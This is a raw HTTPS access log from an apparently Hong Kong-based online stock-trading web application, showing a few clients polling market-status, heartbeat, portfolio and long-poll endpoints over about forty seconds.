[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:11:46:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930680252 HTTP/1.1" -
[09/Jan/2026:11:46:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930681051 HTTP/1.1" -
[09/Jan/2026:11:46:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930680851 HTTP/1.1" -
[09/Jan/2026:11:46:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 207
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930681456 HTTP/1.1" -
[09/Jan/2026:11:46:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1572
[09/Jan/2026:11:46:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930682259 HTTP/1.1" -
[09/Jan/2026:11:46:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930682381 HTTP/1.1" -
[09/Jan/2026:11:46:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930685320 HTTP/1.1" -
[09/Jan/2026:11:46:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930686078 HTTP/1.1" -
[09/Jan/2026:11:46:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930686001 HTTP/1.1" -
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930686602 HTTP/1.1" -
[09/Jan/2026:11:46:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930687318 HTTP/1.1" -
[09/Jan/2026:11:46:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930687414 HTTP/1.1" -
[09/Jan/2026:11:47:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930690387 HTTP/1.1" -
[09/Jan/2026:11:47:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930691213 HTTP/1.1" -
[09/Jan/2026:11:47:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930691487 HTTP/1.1" -
[09/Jan/2026:11:47:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930691650 HTTP/1.1" -
[09/Jan/2026:11:47:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930692388 HTTP/1.1" -
[09/Jan/2026:11:47:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930692525 HTTP/1.1" -
[09/Jan/2026:11:47:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930695458 HTTP/1.1" -
[09/Jan/2026:11:47:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930696526 HTTP/1.1" -
[09/Jan/2026:11:47:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930696287 HTTP/1.1" -
[09/Jan/2026:11:47:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930696889 HTTP/1.1" -
[09/Jan/2026:11:47:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930697451 HTTP/1.1" -
[09/Jan/2026:11:47:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930697604 HTTP/1.1" -
[09/Jan/2026:11:47:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930700527 HTTP/1.1" -
[09/Jan/2026:11:47:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930701576 HTTP/1.1" -
[09/Jan/2026:11:47:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930701440 HTTP/1.1" -
[09/Jan/2026:11:47:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930702161 HTTP/1.1" -
[09/Jan/2026:11:47:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930702518 HTTP/1.1" -
[09/Jan/2026:11:47:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930702677 HTTP/1.1" -
[09/Jan/2026:11:47:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930705592 HTTP/1.1" -
[09/Jan/2026:11:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930706616 HTTP/1.1" -
[09/Jan/2026:11:47:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930706617 HTTP/1.1" -
[09/Jan/2026:11:47:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930707363 HTTP/1.1" -
[09/Jan/2026:11:47:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930707588 HTTP/1.1" -
[09/Jan/2026:11:47:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930707792 HTTP/1.1" -
[09/Jan/2026:11:47:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930710653 HTTP/1.1" -
[09/Jan/2026:11:47:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930711638 HTTP/1.1" -
[09/Jan/2026:11:47:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930711761 HTTP/1.1" -
[09/Jan/2026:11:47:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930712572 HTTP/1.1" -
[09/Jan/2026:11:47:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930712656 HTTP/1.1" -
[09/Jan/2026:11:47:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930712855 HTTP/1.1" -
[09/Jan/2026:11:47:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930715720 HTTP/1.1" -
[09/Jan/2026:11:47:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930716669 HTTP/1.1" -
[09/Jan/2026:11:47:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930716951 HTTP/1.1" -
[09/Jan/2026:11:47:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930717718 HTTP/1.1" -
[09/Jan/2026:11:47:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930717768 HTTP/1.1" -
[09/Jan/2026:11:47:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930717894 HTTP/1.1" -
[09/Jan/2026:11:47:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930720777 HTTP/1.1" -
